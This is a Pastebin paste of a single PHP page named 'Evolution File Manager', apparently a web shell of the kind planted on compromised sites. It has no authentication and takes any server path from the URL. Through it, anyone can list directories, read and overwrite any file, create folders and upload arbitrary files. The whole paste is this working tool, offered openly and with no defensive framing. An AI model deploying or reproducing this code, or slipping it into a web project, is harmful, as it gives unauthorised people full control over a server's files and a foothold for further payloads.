Advertisement
willysec_id

Evolution File Manager

Jun 25th, 2024
651
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.19 KB | Cybersecurity | 0 0
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6. <title>EVOLUTION</title>
  7. <style>
  8.     body {
  9.         font-family: Arial, sans-serif;
  10.         margin: 0;
  11.         padding: 0;
  12.     }
  13.     #container {
  14.         max-width: 800px;
  15.         margin: 20px auto;
  16.         padding: 20px;
  17.         border: 1px solid #ccc;
  18.         border-radius: 5px;
  19.         background-color: #f9f9f9;
  20.     }
  21.     h1 {
  22.         text-align: center;
  23.         color: #333;
  24.     }
  25.     h2 {
  26.         margin-top: 30px;
  27.         color: #555;
  28.     }
  29.     ul {
  30.         list-style-type: none;
  31.         padding: 0;
  32.     }
  33.     li {
  34.         margin-bottom: 10px;
  35.     }
  36.     a {
  37.         text-decoration: none;
  38.         color: #007bff;
  39.     }
  40.     a:hover {
  41.         text-decoration: underline;
  42.     }
  43.     form {
  44.         margin-top: 20px;
  45.     }
  46.     input[type="text"], input[type="file"], input[type="submit"] {
  47.         margin-bottom: 10px;
  48.     }
  49.     hr {
  50.         border: 0;
  51.         height: 1px;
  52.         background-color: #ccc;
  53.         margin-top: 20px;
  54.         margin-bottom: 20px;
  55.     }
  56. </style>
  57. </head>
  58. <body>
  59. <div id="container">
  60.     <h1>EVOLUTION-MANAGER</h1>
  61.     <?php
  62.     // Function to clean input from unwanted characters
  63.     function clean_input($input) {
  64.         return htmlspecialchars(strip_tags($input));
  65.     }
  66.  
  67.     // Function to navigate to the selected directory
  68.     function navigate_directory($path) {
  69.         $path = str_replace('\\','/', $path);
  70.         $paths = explode('/', $path);
  71.         $breadcrumbs = [];
  72.  
  73.         foreach ($paths as $id => $pat) {
  74.             if ($pat == '' && $id == 0) {
  75.                 $breadcrumbs[] = '<a href="?path=/">/</a>';
  76.                 continue;
  77.             }
  78.             if ($pat == '') continue;
  79.             $breadcrumbs[] = '<a href="?path=';
  80.             for ($i = 0; $i <= $id; $i++) {
  81.                 $breadcrumbs[] = "$paths[$i]";
  82.                 if ($i != $id) $breadcrumbs[] = "/";
  83.             }
  84.             $breadcrumbs[] = '">'.$pat.'</a>/';
  85.         }
  86.  
  87.         return implode('', $breadcrumbs);
  88.     }
  89.  
  90.     // Function to display file or folder in the directory
  91.     function display_directory_contents($path) {
  92.         $contents = scandir($path);
  93.         $folders = [];
  94.         $files = [];
  95.  
  96.         foreach ($contents as $item) {
  97.             if ($item == '.' || $item == '..') continue;
  98.             $full_path = $path . '/' . $item;
  99.             if (is_dir($full_path)) {
  100.                 $folders[] = '<li><strong>Folder:</strong> <a href="?path=' . urlencode($full_path) . '">' . $item . '</a></li>';
  101.             } else {
  102.                 $file_size = filesize($full_path); // Get file size
  103.                 $size_unit = ['B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
  104.                 $file_size_formatted = $file_size ? round($file_size / pow(1024, ($i = floor(log($file_size, 1024)))), 2) . ' ' . $size_unit[$i] : '0 B'; // Format file size
  105.                 $files[] = '<li><strong>File:</strong> <a href="?action=edit&file=' . urlencode($item) . '&path=' . urlencode($path) . '">' . $item . '</a> (' . $file_size_formatted . ')</li>'; // Display file size
  106.             }
  107.         }
  108.  
  109.         // Display folder and file list with separator line
  110.         echo '<ul>';
  111.         echo implode('', $folders);
  112.         if (!empty($folders) && !empty($files)) {
  113.             echo '<hr>'; // Separator line if there are folders and files
  114.         }
  115.         echo implode('', $files);
  116.         echo '</ul>';
  117.     }
  118.  
  119.     // Function to create a new folder
  120.     function create_folder($path, $folder_name) {
  121.         $folder_name = clean_input($folder_name);
  122.         $new_folder_path = $path . '/' . $folder_name;
  123.         if (!file_exists($new_folder_path)) {
  124.             mkdir($new_folder_path);
  125.             echo "Folder '$folder_name' created successfully!";
  126.         } else {
  127.             echo "Folder '$folder_name' already exists!";
  128.         }
  129.     }
  130.  
  131.     // Function to upload a new file
  132.     function upload_file($path, $file_to_upload) {
  133.         $target_directory = $path . '/';
  134.         $target_file = $target_directory . basename($file_to_upload['name']);
  135.         $uploadOk = 1;
  136.  
  137.         // File upload process
  138.         if (move_uploaded_file($file_to_upload['tmp_name'], $target_file)) {
  139.             echo "File ". htmlspecialchars(basename($file_to_upload['name'])). " uploaded successfully.";
  140.         } else {
  141.             echo "Sorry, there was an error uploading your file.";
  142.         }
  143.     }
  144.  
  145.     // Function to display and edit file content
  146.     function edit_file($file_path) {
  147.         if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  148.             $content = $_POST['file_content'];
  149.             if (file_put_contents($file_path, $content) !== false) {
  150.                 echo "File saved successfully.";
  151.             } else {
  152.                 echo "There was an error while saving the file.";
  153.             }
  154.         }
  155.         $content = file_get_contents($file_path);
  156.         echo '<form method="post">';
  157.         echo '<textarea name="file_content" rows="10" cols="50">' . htmlspecialchars($content) . '</textarea><br>';
  158.         echo '<input type="submit" value="Save">';
  159.         echo '</form>';
  160.     }
  161.  
  162.     // Main program
  163.     if (isset($_GET['path'])) {
  164.         $path = $_GET['path'];
  165.     } else {
  166.         $path = getcwd();
  167.     }
  168.  
  169.     if (isset($_GET['action'])) {
  170.         $action = $_GET['action'];
  171.         switch ($action) {
  172.             case 'edit':
  173.                 if (isset($_GET['file'])) {
  174.                     $file = $_GET['file'];
  175.                     $file_path = $path . '/' . $file;
  176.                     if (file_exists($file_path)) {
  177.                         echo '<h2>Edit File: ' . $file . '</h2>';
  178.                         edit_file($file_path);
  179.                     } else {
  180.                         echo "File not found.";
  181.                     }
  182.                 } else {
  183.                     echo "Invalid file.";
  184.                 }
  185.                 break;
  186.             default:
  187.                 echo "Invalid action.";
  188.         }
  189.     } else {
  190.         echo "<h2>Directory: " . $path . "</h2>";
  191.         echo "<p>" . navigate_directory($path) . "</p>";
  192.         echo "<h3>Directory Contents:</h3>";
  193.         display_directory_contents($path);
  194.         echo '<hr>'; // Separator line
  195.         echo '<h3>Create New Folder:</h3>';
  196.         echo '<form action="" method="post">';
  197.         echo 'New Folder Name: <input type="text" name="folder_name">';
  198.         echo '<input type="submit" name="create_folder" value="Create Folder">';
  199.         echo '</form>';
  200.         echo '<h3>Upload New File:</h3>';
  201.         echo '<form action="" method="post" enctype="multipart/form-data">';
  202.         echo 'Select file to upload: <input type="file" name="file_to_upload">';
  203.         echo '<input type="submit" name="upload_file" value="Upload File">';
  204.         echo '</form>';
  205.     }
  206.  
  207.     // Handle request to create a new folder
  208.     if(isset($_POST['create_folder'])) {
  209.         create_folder($path, $_POST['folder_name']);
  210.     }
  211.  
  212.     // Handle request to upload a new file
  213.     if(isset($_POST['upload_file'])) {
  214.         upload_file($path, $_FILES['file_to_upload']);
  215.     }
  216.     ?>
  217. </div>
  218. </body>
  219. </html>
  220.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement